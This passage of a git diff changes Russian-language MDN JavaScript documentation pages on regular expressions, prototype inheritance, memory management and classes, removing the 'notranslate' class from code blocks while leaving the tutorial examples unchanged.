- <pre class="brush: js notranslate">var re = new RegExp("ab+c"); + <pre class="brush: js">var re = new RegExp("ab+c"); </pre> </div> @@ -321,7 +321,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions <p>Экранирование пользовательского ввода, соответствующего буквенной строке внутри регулярного выражения, может быть достигнуто простой заменой: </p> -<pre class="brush: js notranslate"><code>function escapeRegExp(string){ +<pre class="brush: js"><code>function escapeRegExp(string){ return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); // $& means the whole matched string }</code></pre> @@ -379,18 +379,18 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions <p>В след. примере, скрипт использует метод <code>exec</code> чтобы найти совпадения в строке.</p> -<pre class="brush: js notranslate">var myRe = /d(b+)d/g; +<pre class="brush: js">var myRe = /d(b+)d/g; var myArray = myRe.exec("cdbbdbsbz"); </pre> <p>Если вам не нужен доступ к свойствам регулярного выражения, то альтернативный способ получить <code>myArray</code> можно так:</p> -<pre class="brush: js notranslate">var myArray = /d(b+)d/g.exec("cdbbdbsbz"); +<pre class="brush: js">var myArray = /d(b+)d/g.exec("cdbbdbsbz"); </pre> <p>Если вы хотите сконструировать регулярное выражение из строки, другой способ сделать это приведён ниже:</p> -<pre class="brush: js notranslate">var myRe = new RegExp("d(b+)d", "g"); +<pre class="brush: js">var myRe = new RegExp("d(b+)d", "g"); var myArray = myRe.exec("cdbbdbsbz"); </pre> @@ -444,25 +444,25 @@ var myArray = myRe.exec("cdbbdbsbz"); <p>Как показано во втором варианте этого примера, вы можете использовать регулярное выражение, созданное при помощи инициализатора объекта, без присваивания его переменной. Таким образом, если вы используете данную форму записи без присваивания переменной, то в процессе дальнейшего использования вы не можете получить доступ к свойствам данного регулярного выражения. Например, у вас есть следующий скрипт:</p> -<pre class="brush: js notranslate">var myRe = /d(b+)d/g; +<pre class="brush: js">var myRe = /d(b+)d/g; var myArray = myRe.exec("cdbbdbsbz"); console.log("The value of lastIndex is " + myRe.lastIndex); </pre> <p>Этот скрипт выведет:</p> -<pre class="notranslate">The value of lastIndex is 5 +<pre>The value of lastIndex is 5 </pre> <p>Однако, если у вас есть следующий скрипт:</p> -<pre class="brush: js notranslate">var myArray = /d(b+)d/g.exec("cdbbdbsbz"); +<pre class="brush: js">var myArray = /d(b+)d/g.exec("cdbbdbsbz"); console.log("The value of lastIndex is " + /d(b+)d/g.lastIndex); </pre> <p>Он выведет:</p> -<pre class="notranslate">The value of lastIndex is 0 +<pre>The value of lastIndex is 0 </pre> <div class="syntaxbox">Совпадения <code>/d(b+)d/g</code> в двух случаях являются разными объектами регулярного выражения и, следовательно, имеют различные значения для свойства <code>lastIndex</code>. Если вам необходим доступ к свойствам объекта, созданного при помощи инициализатора, то вы должны сначала присвоить его переменной.</div> @@ -477,7 +477,7 @@ console.log("The value of lastIndex is " + /d(b+)d/g.lastIndex); <p>Следующий скрипт использует метод <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/replace" title="en-US/docs/JavaScript/Reference/Global Objects/String/replace">replace()</a>,</code> чтобы поменять местами слова (символы) в строке. Для замены текста скрипт использует обозначения <code>$1</code> и <code>$2</code> для обозначения первого и второго совпадения скобочного выражения.</p> -<pre class="brush: js notranslate">var re = /(\w+)\s(\w+)/; +<pre class="brush: js">var re = /(\w+)\s(\w+)/; var str = "John Smith"; var newstr = str.replace(re, "$2, $1"); console.log(newstr); @@ -519,19 +519,19 @@ console.log(newstr); <p>Чтобы использовать флаги в шаблоне регулярного выражения используйте следующий синтаксис:</p> -<pre class="brush: js notranslate">var re = /pattern/flags; +<pre class="brush: js">var re = /pattern/flags; </pre> <p>или</p> -<pre class="brush: js notranslate">var re = new RegExp("pattern", "flags"); +<pre class="brush: js">var re = new RegExp("pattern", "flags"); </pre> <p>Обратите внимание, что флаги являются неотъемлемой частью регулярного выражения. Флаги не могут быть добавлены или удалены позднее.</p> <p>Для примера, <code>re = /\w+\s/g</code> создаёт регулярное выражение, которое ищет один или более символов, после которых следует пробел и ищет данное совпадение на протяжении всей строки.</p> -<pre class="brush: js notranslate">var re = /\w+\s/g; +<pre class="brush: js">var re = /\w+\s/g; var str = "fee fi fo fum"; var myArray = str.match(re); console.log(myArray); @@ -539,12 +539,12 @@ console.log(myArray); <p>Выведет ["fee ", "fi ", "fo "]. В этом примере вы бы могли заменить строку:</p> -<pre class="brush: js notranslate">var re = /\w+\s/g; +<pre class="brush: js">var re = /\w+\s/g; </pre> <p>на следующую:</p> -<pre class="brush: js notranslate">var re = new RegExp("\\w+\\s", "g"); +<pre class="brush: js">var re = new RegExp("\\w+\\s", "g"); </pre> <p>и получить тот же результат.</p> @@ -559,7 +559,7 @@ console.log(myArray); <p>След. пример иллюстрирует формирование регулярного выражения и использование <code>string.split()</code> и <code>string.replace()</code>. Он очищает неправильно сформатированную исходную строку, которая содержит имена в неправильном порядке (имя идёт первым) разделённые пробелами, табуляцией и одной точкой с запятой. В конце, изменяется порядок следования имён (фамилия станет первой) и сортируется список.</p> -<pre class="brush: js notranslate">// The name string contains multiple spaces and tabs, +<pre class="brush: js">// The name string contains multiple spaces and tabs, // and may have multiple spaces between first and last names. var names = "Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ; Chris Hand "; @@ -629,7 +629,7 @@ console.log(output.join("\n")); <p>Событие "Изменить" активируется, когда пользователь подтвердит ввод значения регулярного выражения, нажав клавишу "Enter". </p> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> @@ -655,5 +655,5 @@ console.log(output.join("\n")); </html> </pre> -<pre class="script notranslate">autoPreviousNext("JSGChapters"); +<pre class="script">autoPreviousNext("JSGChapters"); </pre> diff --git a/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html b/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html index 5ed538ca47..eaca7bd05f 100644 --- a/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html +++ b/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain <p>Объекты в JavaScript — динамические "контейнеры", наполненные свойствами (называемыми <strong>собственными свойствами</strong>). Каждый объект содержит ссылку на свой объект-прототип.<br> При попытке получить доступ к какому-либо свойству объекта, свойство вначале ищется в самом объекте, затем в прототипе объекта, после чего в прототипе прототипа, и так далее. Поиск ведётся до тех пор, пока не найдено свойство с совпадающим именем или не достигнут конец цепочки прототипов.</p> -<pre class="brush: js notranslate">// В этом примере someObject.[[Prototype]] означает прототип someObject. +<pre class="brush: js">// В этом примере someObject.[[Prototype]] означает прототип someObject. // Это упрощённая нотация (описанная в стандарте ECMAScript). // Она не может быть использована в реальных скриптах. @@ -74,7 +74,7 @@ console.log(o.d); // undefined <p>В области видимости унаследованной функции ссылка <a href="/en/JavaScript/Reference/Operators/this" title="this"><code>this</code></a> указывает на наследующий объект (на наследника), а не на прототип, в котором данная функция является собственным свойством.</p> -<pre class="brush: js notranslate">var o = { +<pre class="brush: js">var o = { a: 2, m: function(){ return this.a + 1; @@ -98,7 +98,7 @@ console.log(p.m()); // 13 <h3 id="Создание_объектов_с_помощью_литералов">Создание объектов с помощью литералов</h3> -<pre class="brush: js notranslate">var o = {a: 1}; +<pre class="brush: js">var o = {a: 1}; // Созданный объект 'o' имеет Object.prototype в качестве своего [[Prototype]] // у 'o' нет собственного свойства 'hasOwnProperty' @@ -127,7 +127,7 @@ function f(){ <p>В JavaScript "конструктор" — это "просто" функция, вызываемая с оператором <a href="/en/JavaScript/Reference/Operators/new" title="new">new</a>.</p> -<pre class="brush: js notranslate">function Graph() { +<pre class="brush: js">function Graph() { this.vertexes = []; this.edges = []; } @@ -147,7 +147,7 @@ var g = new Graph(); <p>В ECMAScript 5 представлен новый метод создания объектов: <a href="/en/JavaScript/Reference/Global_Objects/Object/create" title="create">Object.create</a>. Прототип создаваемого объекта указывается в первом аргументе этого метода:</p> -<pre class="brush: js notranslate">var a = {a: 1}; +<pre class="brush: js">var a = {a: 1}; // a ---> Object.prototype ---> null var b = Object.create(a); @@ -168,7 +168,7 @@ console.log(d.hasOwnProperty); <p>С выходом ECMAScript 6 появился целый набор ключевых слов, реализующих <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes">классы</a>. Они могут показаться знакомыми людям, изучавшим языки, основанные на классах, но есть существенные отличия. JavaScript был и остаётся прототипно-ориентированным языком. Новые ключевые слова: "<code>class</code>", "<code>constructor</code>", "<code>static</code>", "<code>extends</code>" и "<code>super</code>".</p> -<pre class="brush: js notranslate">"use strict"; +<pre class="brush: js">"use strict"; class Polygon { constructor(height, width) { @@ -217,7 +217,7 @@ var square = new Square(2);</pre> <p><code>B</code> наследует от <code>A</code>:</p> -<pre class="brush: js notranslate">function A(a){ +<pre class="brush: js">function A(a){ this.varA = a; } @@ -274,17 +274,17 @@ b.doSomething();</pre> <p><code>[[Prototype]]</code> работает <em>рекурсивно</em>, то есть при вызове:</p> -<pre class="brush: js notranslate">var o = new Foo();</pre> +<pre class="brush: js">var o = new Foo();</pre> <p>JavaScript на самом деле выполняет что-то подобное:</p> -<pre class="brush: js notranslate">var o = new Object(); +<pre class="brush: js">var o = new Object(); o.[[Prototype]] = Foo.prototype; Foo.call(o);</pre> <p>а когда вы делаете так:</p> -<pre class="brush: js notranslate">o.someProp;</pre> +<pre class="brush: js">o.someProp;</pre> <p>JavaScript проверяет, есть ли у <strong><code>o</code></strong> свойство <code>someProp</code>.<br> и если нет, то проверяет <code>Object.getPrototypeOf(o).someProp</code> <br> diff --git a/files/ru/web/javascript/memory_management/index.html b/files/ru/web/javascript/memory_management/index.html index 4fa942b997..4399b25d64 100644 --- a/files/ru/web/javascript/memory_management/index.html +++ b/files/ru/web/javascript/memory_management/index.html @@ -28,7 +28,7 @@ translation_of: Web/JavaScript/Memory_Management <p>Чтобы не утруждать программиста заботой о низкоуровневых операциях выделения памяти, интерпретатор JavaScript динамически выделяет необходимую память при объявлении переменных:</p> <div style="overflow: hidden;"> -<pre class="brush: js notranslate">var n = 123; // выделяет память для типа number +<pre class="brush: js">var n = 123; // выделяет память для типа number var s = "azerty"; // выделяет память для типа string var o = { @@ -53,13 +53,13 @@ someElement.addEventListener('click', function(){ <p>Вызовы некоторых функций также ведут к выделению памяти под объект:</p> -<pre class="brush: js notranslate">var d = new Date(); +<pre class="brush: js">var d = new Date(); var e = document.createElement('div'); // выделяет память под DOM-элемент </pre> <p>Некоторые методы выделяют память для новых значений или объектов:</p> -<pre class="brush: js notranslate">var s = "azerty"; +<pre class="brush: js">var s = "azerty"; var s2 = s.substr(0, 3); // s2 это новый объект типа string // Т.к. строки - это постоянные значения, интерпретатор может решить, что память выделять не нужно, но нужно лишь сохранить диапазон [0, 3]. @@ -94,7 +94,7 @@ var a3 = a.concat(a2); // новый массив с 4 элементами в <h4 id="Пример">Пример</h4> -<pre class="brush: js notranslate">var o = { +<pre class="brush: js">var o = { a: { b:2 } @@ -121,7 +121,7 @@ oa = null; // оригинальное значение поля объекта <p>Основное ограничение данного наивного алгоритма заключается в том, что если два объекта ссылаются друг на друга (создавая таким образом циклическую ссылку), они не могут быть уничтожены сборщиком мусора, даже если "более не нужны".</p> -<pre class="brush: js notranslate">function f(){ +<pre class="brush: js">function f(){ var o = {}; var o2 = {}; o.a = o2; // o ссылается на o2 @@ -139,7 +139,7 @@ f(); <p>Браузеры Internet Explorer версий 6, 7 имеют сборщик мусора для DOM-объектов, работающий по принципу подсчёта ссылок. Поэтому данные браузеры можно легко принудить к порождению систематических утечек памяти (memory leaks) следующим образом:</p> -<pre class="brush: js notranslate">var div; +<pre class="brush: js">var div; window.onload = function(){ div = document.getElementById("myDivElement"); div.circularReference = div; // DOM-элемент "myDivElement" получает ссылку на себя diff --git a/files/ru/web/javascript/reference/classes/constructor/index.html b/files/ru/web/javascript/reference/classes/constructor/index.html index 3b0b38b700..81546fdb27 100644 --- a/files/ru/web/javascript/reference/classes/constructor/index.html +++ b/files/ru/web/javascript/reference/classes/constructor/index.html @@ -14,13 +14,13 @@ translation_of: Web/JavaScript/Reference/Classes/constructor <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">constructor([arguments]) { ... }</pre> +<pre class="syntaxbox">constructor([arguments]) { ... }</pre> <h2 id="Описание">Описание</h2> <p>Конструктор позволяет произвести начальную инициализацию, которая должна быть выполнена до того, как остальные методы будут вызваны.</p> -<pre class="notranslate">class Person { +<pre>class Person { constructor(name) { this.name = name; @@ -38,17 +38,17 @@ otto.introduce();</pre> <p>Если вы не определили метод constructor, то будет использован конструктор по умолчанию. Если ваш класс базовый, то конструктор по умолчанию пустой:</p> -<pre class="notranslate">constructor() {}</pre> +<pre>constructor() {}</pre> <p>Если ваш класс является производным классом, конструктор по умолчанию вызывает родительский конструктор, передавая любые аргументы, которые были предоставлены:</p> -<pre class="notranslate">constructor(...args) { +<pre>constructor(...args) { super(...args); }</pre> <p>Это позволяет работать следующему коду:</p> -<pre class="notranslate">class ValidationError extends Error { +<pre>class ValidationError extends Error { printCustomerMessage() { return `Проверка не удалась :-( (подробности: ${this.message})`; @@ -72,7 +72,7 @@ try { <p>Однако, если определён ваш собственный конструктор и класс является производным от какого-либо родительского класса, то вы должны явно объявить конструктор родительского класса, используя <code>super</code>. К примеру:</p> -<pre class="notranslate">class ValidationError extends Error { +<pre>class ValidationError extends Error { constructor(message) { super(message); // вызов конструктора родительского класса @@ -106,7 +106,7 @@ try { <p>Данный фрагмент кода взят из <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">classes sample</a> (<a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a>).</p> -<pre class="brush: js notranslate">class Square extends Polygon { +<pre class="brush: js">class Square extends Polygon { constructor(length) { // Здесь вызывается конструктор родительского класса, // в который передаётся length в качестве аргументов, @@ -130,7 +130,7 @@ try { <p>Посмотрите на этот отрывок кода.</p> -<pre class="brush: js notranslate">class Polygon { +<pre class="brush: js">class Polygon { constructor() { this.name = "Polygon"; } @@ -158,11 +158,11 @@ console.log(newInstance.name); //Polygon</pre> <p>Если вы не определите метод constructor, будет использован constructor по умолчанию. Для базовых классов, constructor по умолчанию:</p> -<pre class="brush: js notranslate">constructor() {}</pre> +<pre class="brush: js">constructor() {}</pre> <p>Для производных классов, constructor по умолчанию:</p> -<pre class="brush: js notranslate">constructor(...args) { +<pre class="brush: js">constructor(...args) { super(...args); }</pre> diff --git a/files/ru/web/javascript/reference/classes/index.html b/files/ru/web/javascript/reference/classes/index.html index f8a63e92b2..742cd341ca 100644 --- a/files/ru/web/javascript/reference/classes/index.html +++ b/files/ru/web/javascript/reference/classes/index.html @@ -22,7 +22,7 @@ translation_of: Web/JavaScript/Reference/Classes <p>Первый способ определения класса — <strong>class declaration (</strong><em>объявление класса</em><strong>)</strong>. Для этого необходимо воспользоваться ключевым словом <code>class</code> и указать имя класса (в примере — «Rectangle»).</p> -<pre class="brush: js notranslate"><code>class Rectangle { +<pre class="brush: js"><code>class Rectangle { constructor(height, width) { this.height = height; this.width = width; @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Classes <p>Разница между <em>объявлением функции</em> (<em>function declaration</em>) и <em>объявлением класса</em> (<em>class declaration</em>) в том, что <em>объявление функции</em> совершает подъём ({{Glossary("Hoisting", "hoisting")}}), в то время как <em>объявление класса</em> — нет. Поэтому вначале необходимо объявить ваш класс и только затем работать с ним, а код же вроде следующего сгенерирует исключение типа {{jsxref("ReferenceError")}}:</p> -<pre class="brush: js notranslate"><code>var p = new Rectangle(); // ReferenceError +<pre class="brush: js"><code>var p = new Rectangle(); // ReferenceError class Rectangle {}</code></pre> @@ -41,7 +41,7 @@ class Rectangle {}</code></pre> <p>Второй способ определения класса — <strong>class expression (</strong><em>выражение класса</em><strong>)</strong>. Можно создавать именованные и безымянные выражения. В первом случае имя выражения класса находится в локальной области видимости класса и может быть получено через свойства самого класса, а не его экземпляра.</p> -<pre class="brush: js notranslate"><code>// безымянный +<pre class="brush: js"><code>// безымянный var Rectangle = class { constructor(height, width) { this.height = height; @@ -84,7 +84,7 @@ console.log(Rectangle.name); <p>Смотрите также <a href="/ru/docs/Web/JavaScript/Reference/Functions/%D0%9E%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B8%D0%BD%D0%B8%D0%B5_%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%D0%BE%D0%B2">определение методов</a>.</p> -<pre class="brush: js notranslate"><code>class Rectangle { +<pre class="brush: js"><code>class Rectangle { constructor(height, width) { this.height = height; this.width = width; @@ -107,7 +107,7 @@ console.log(square.area); // 100</code></pre> <p>Ключевое слово <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/static">static</a></code>, определяет статический метод или свойства для класса. Статические методы и свойства вызываются без <a href="/ru/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript#The_Object_.28Class_Instance.29">инстанцирования</a> их класса, и <strong>не могут</strong> быть вызваны у экземпляров (<em>instance</em>) класса. Статические методы, часто используются для создания служебных функций для приложения, в то время как статические свойства полезны для кеширования в рамках класса, фиксированной конфигурации или любых других целей, не связанных с реплецированием данных между экземплярами.</p> -<pre class="brush: js notranslate"><code>class Point { +<pre class="brush: js"><code>class Point { constructor(x, y) { this.x = x; this.y = y; @@ -136,7 +136,7 @@ console.log(Point.distance(p1, p2)); // 7.0710678118654755</code></pre> <p>Когда статический или прототипный метод вызывается без привязки к <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> объекта (или когда <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> является типом boolean, string, number, undefined, null), тогда <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> будет иметь значение <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">undefined</span></font> внутри вызываемой функции. Автоупаковка не будет произведена. Поведение будет таким же как если бы мы писали код в нестрогом режиме.</p> -<pre class="brush: js notranslate"><code>class Animal { +<pre class="brush: js"><code>class Animal { speak() { return this; } @@ -156,7 +156,7 @@ eat(); // undefined</code></pre> <p>Если мы напишем этот же код используя классы основанные на функциях, тогда произойдёт автоупаковка основанная на значении <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font>, в течение которого функция была вызвана. В строгом режиме автоупаковка не произойдёт - значение <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> останется прежним.</p> -<pre class="brush: js notranslate"><code>function Animal() { } +<pre class="brush: js"><code>function Animal() { } Animal.prototype.speak = function(){ return this; @@ -178,7 +178,7 @@ eat(); // глобальный объект (нестрогий режим)</cod <p>Свойства экземпляра должны быть определены в методе класса:</p> -<pre class="notranslate">class Rectangle { +<pre>class Rectangle { constructor(height, width) { this.height = height; this.width = width; @@ -187,7 +187,7 @@ eat(); // глобальный объект (нестрогий режим)</cod <p>Статические (class-side) свойства и свойства прототипа должны быть определены за рамками тела класса:</p> -<pre class="notranslate">Rectangle.staticWidth = 20; +<pre>Rectangle.staticWidth = 20; Rectangle.prototype.prototypeWidth = 25; </pre> @@ -201,7 +201,7 @@ Rectangle.prototype.prototypeWidth = 25; <p>Используя Javascript синтаксис определения полей, приведённый выше пример может быть изменён следующим образом:</p> -<pre class="notranslate">class Rectangle { +<pre>class Rectangle { height = 0; width; constructor(height, width) { @@ -218,7 +218,7 @@ Rectangle.prototype.prototypeWidth = 25; <p>Предыдущий пример может быть изменён следующим образом, используя приватные поля:</p> -<pre class="notranslate">class Rectangle { +<pre>class Rectangle { #height = 0; #width; constructor(height, width) { @@ -241,7 +241,7 @@ Rectangle.prototype.prototypeWidth = 25; <p>Ключевое слово <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/extends">extends</a></code> используется в <em>объявлениях классов</em> и <em>выражениях классов</em> для создания класса, дочернего относительно другого класса.</p> -<pre class="brush: js notranslate"><code class="language-js">class Animal { +<pre class="brush: js"><code class="language-js">class Animal { constructor(name) { this.name = name; }</code> @@ -268,7 +268,7 @@ d.speak(); // Митци лает</code></pre> <p>Аналогичным образом можно расширять традиционные, основанные на функциях "классы":</p> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">function Animal (name) { +<pre class="brush: js line-numbers language-js"><code class="language-js">function Animal (name) { this.name = name; } Animal.prototype.speak = function () { @@ -288,7 +288,7 @@ d.speak(); // Митци лает <p>Обратите внимание, что классы не могут расширять обычные (non-constructible) объекты. Если вам необходимо создать наследование от обычного объекта, в качестве замены можно использовать {{jsxref("Object.setPrototypeOf()")}}:</p> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">var Animal = { +<pre class="brush: js line-numbers language-js"><code class="language-js">var Animal = { speak() { console.log(</code>`${this.name} издаёт звук.`<code class="language-js">); } @@ -312,7 +312,7 @@ d.speak(); // Митци издаёт звук.</code></pre> <p>Например, при использовании таких методов, как {{jsxref("Array.map", "map()")}}, который возвращает конструктор по умолчанию, вам хотелось бы, чтобы они возвращали родительский объект <code>Array</code> вместо объекта <code>MyArray</code>. Символ {{jsxref("Symbol.species")}} позволяет это реализовать:</p> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">class MyArray extends Array { +<pre class="brush: js line-numbers language-js"><code class="language-js">class MyArray extends Array { // Изменить species на родительский конструктор Array static get [Symbol.species]() { return Array; } } @@ -326,7 +326,7 @@ console.log(mapped instanceof Array); // true</code></pre> <p>Ключевое слово <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/super">super</a></code> используется для вызова функций на родителе объекта.</p> -<pre class="brush: js language-js notranslate"><code class="language-js">class Cat { +<pre class="brush: js language-js"><code class="language-js">class Cat { constructor(name) { this.name = name; } @@ -355,7 +355,7 @@ l.speak(); <p>Для реализации mix-ins в ECMAScript можно использовать функцию, которая в качестве аргумента принимает родительский класс, а возвращает подкласс, его расширяющий:</p> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">var calculatorMixin = Base => class extends Base { +<pre class="brush: js line-numbers language-js"><code class="language-js">var calculatorMixin = Base => class extends Base { calc() { } }; @@ -365,7 +365,7 @@ var randomizerMixin = Base => class extends Base { <p>Класс, использующий такие mix-ins, можно описать следующим образом:</p> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">class Foo { } +<pre class="brush: js line-numbers language-js"><code class="language-js">class Foo { } class Bar extends calculatorMixin(randomizerMixin(Foo)) { }</code></pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/classes/private_class_fields/index.html b/files/ru/web/javascript/reference/classes/private_class_fields/index.html index 356e8b5517..597d98ebeb 100644 --- a/files/ru/web/javascript/reference/classes/private_class_fields/index.html +++ b/files/ru/web/javascript/reference/classes/private_class_fields/index.html @@ -10,7 +10,7 @@ original_slug: Web/JavaScript/Reference/Classes/Приватные_поля_кл <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">class ClassWithPrivateField { +<pre class="syntaxbox">class ClassWithPrivateField { #privateField } @@ -33,7 +33,7 @@ class ClassWithPrivateStaticField { <p>Ограничение статических переменных, вызываемых только статическими методами, все ещё сохраняется.</p> -<pre class="brush: js notranslate">class ClassWithPrivateStaticField { +<pre class="brush: js">class ClassWithPrivateStaticField { static #PRIVATE_STATIC_FIELD static publicStaticMethod() { @@ -50,7 +50,7 @@ console.assert(ClassWithPrivateStaticField.publicStaticMethod() === 42)</pre> <p>Это может привести к неожиданному поведению при использовании this.</p> -<pre class="brush: js notranslate">class BaseClassWithPrivateStaticField { +<pre class="brush: js">class BaseClassWithPrivateStaticField { static #PRIVATE_STATIC_FIELD static basePublicStaticMethod() { @@ -76,7 +76,7 @@ console.assert(error instanceof TypeError) <p><span class="tlid-translation translation" lang="ru"><span title="">Инкапсуляция обеспечивается языком.</span> <span title="">Обращение к <code>#</code> именам вне области видимости является синтаксической ошибкой.</span></span></p> -<pre class="brush: js notranslate">class ClassWithPrivateField { +<pre class="brush: js">class ClassWithPrivateField { #privateField constructor() { @@ -99,7 +99,7 @@ instance.#privateField === 42 // Syntax error <p>Приватные статические методы могут быть генераторами, асинхронными функциями и асинхронными функциями-генераторами.</p> -<pre class="brush: js notranslate">class ClassWithPrivateStaticMethod { +<pre class="brush: js">class ClassWithPrivateStaticMethod { static #privateStaticMethod() { return 42 } @@ -119,7 +119,7 @@ console.assert(ClassWithPrivateStaticMethod.publicStaticMethod2() === 42); <p>Это может привести к неожиданному поведению при его использовании <strong><code>this</code></strong>. В следующем примере <code>this</code> относится к классу <code>Derived</code> (а не к классу <code>Base</code>), когда мы пытаемся вызвать <code>Derived.publicStaticMethod2()</code>, и, таким образом, имеет такое же "ограничение по происхождению", как упоминалось выше:</p> -<pre class="brush: js notranslate">class Base { +<pre class="brush: js">class Base { static #privateStaticMethod() { return 42; } @@ -141,7 +141,7 @@ console.log(Derived.publicStaticMethod2()); // TypeError <p>Приватные методы экземпляров это методы, доступные у экземпляров класса, доступ к которым запрещён также, как у приватных полей класса.</p> -<pre class="brush: js notranslate">class ClassWithPrivateMethod { +<pre class="brush: js">class ClassWithPrivateMethod { #privateMethod() { return 'hello world' } @@ -157,7 +157,7 @@ console.log(instance.getPrivateMessage()) <p>Приватные методы экземпляров могут быть генератором, async, или функциями async генератора. Приватные геттеры и сеттеры также возможны:</p> -<pre class="brush: js notranslate">class ClassWithPrivateAccessor { +<pre class="brush: js">class ClassWithPrivateAccessor { #message get #decoratedMessage() { diff --git a/files/ru/web/javascript/reference/classes/public_class_fields/index.html b/files/ru/web/javascript/reference/classes/public_class_fields/index.html index 865babfded..0c4eb7a7ea 100644 --- a/files/ru/web/javascript/reference/classes/public_class_fields/index.html +++ b/files/ru/web/javascript/reference/classes/public_class_fields/index.html @@ -47,7 +47,7 @@ class ClassWithPublicInstanceMethod { <p>Публичные статические поля объявляются при помощи ключевого слова <code>static</code>. Они добавляются в конструктор класса во время его создания с помощью {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}}. Доступ также осуществляется через конструктор класса.</p> -<pre class="brush: js notranslate">class ClassWithStaticField { +<pre class="brush: js">class ClassWithStaticField { static staticField = 'static field'; } @@ -57,7 +57,7 @@ console.log(ClassWithStaticField.staticField); <p>Поля без инициализации имеют значение <code>undefined</code>.</p> -<pre class="brush: js notranslate">class ClassWithStaticField { +<pre class="brush: js">class ClassWithStaticField { static staticField; } @@ -67,7 +67,7 @@ console.log(ClassWithStaticField.staticField); <p>Публичные статические поля не переопределяются в наследниках класса, а могут быть доступны через иерархию прототипов.</p> -<pre class="brush: js notranslate">class ClassWithStaticField { +<pre class="brush: js">class ClassWithStaticField { static baseStaticField = 'base field'; } @@ -83,7 +83,7 @@ console.log(SubClassWithStaticField.baseStaticField); <p>При определении полей <code>this</code> ссылается на конструктор класса. Также можно обратиться к нему по имени и использовать <code>super</code> для получения конструктора базового класса, если он существует.</p> -<pre class="brush: js notranslate">class ClassWithStaticField { +<pre class="brush: js">class ClassWithStaticField { static baseStaticField = 'base static field'; static anotherBaseStaticField = this.baseStaticField; @@ -108,7 +108,7 @@ console.log(SubClassWithStaticField.subStaticField); <p>Публичные поля экземпляра добавляются через {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}} либо перед тем, как будет исполнено тело конструктора в базовом классе, либо после того, как завершится <code>super()</code> в классе наследнике.</p> -<pre class="brush: js notranslate">class ClassWithInstanceField { +<pre class="brush: js">class ClassWithInstanceField { instanceField = 'instance field'; } @@ -118,7 +118,7 @@ console.log(instance.instanceField); <p>Поля без инициализации имеют значение <code>undefined</code>.</p> -<pre class="brush: js notranslate">class ClassWithInstanceField { +<pre class="brush: js">class ClassWithInstanceField { instanceField; } @@ -129,7 +129,7 @@ console.log(instance.instanceField); <p>Как и свойства, названия полей могут вычисляться.</p> -<pre class="brush: js notranslate">const PREFIX = 'prefix'; +<pre class="brush: js">const PREFIX = 'prefix'; class ClassWithComputedFieldName { [`${PREFIX}Field`] = 'prefixed field'; @@ -141,7 +141,7 @@ console.log(instance.prefixField); <p>При определении полей <code>this</code> ссылается на создающийся экземпляр класса. Как и в публичных методах экземпляра, получить доступ к прототипу базового класса можно с помощью <code>super</code>.</p> -<pre class="brush: js notranslate">class ClassWithInstanceField { +<pre class="brush: js">class ClassWithInstanceField { baseInstanceField = 'base field'; anotherBaseInstanceField = this.baseInstanceField; baseInstanceMethod() { return 'base method output'; } @@ -166,7 +166,7 @@ console.log(sub.subInstanceField); <p>Ключевое слово <code><strong>static</strong></code> объявляет статический метод класса. Статические методы не вызываются из экземпляра, вместо этого они вызывается из самого класса. Чаще всего это какие-либо служебные функции, такие как функции создания или копирования объектов.</p> -<pre class="brush: js notranslate">class ClassWithStaticMethod { +<pre class="brush: js">class ClassWithStaticMethod { static staticMethod() { return 'static method has been called.'; } @@ -182,7 +182,7 @@ console.log(ClassWithStaticMethod.staticMethod()); <p>Как и следует из названия, публичные методы экземпляра это методы, доступные для вызова из экземпляров.</p> -<pre class="brush: js notranslate">class ClassWithPublicInstanceMethod { +<pre class="brush: js">class ClassWithPublicInstanceMethod { publicMethod() { return 'hello world'; } @@ -196,7 +196,7 @@ console.log(instance.publicMethod()); <p>Вы можете использовать генераторы, асинхронные функции и асинхронные генераторы.</p> -<pre class="brush: js notranslate">class ClassWithFancyMethods { +<pre class="brush: js">class ClassWithFancyMethods { *generatorMethod() { } async asyncMethod() { } async *asyncGeneratorMethod() { } @@ -205,7 +205,7 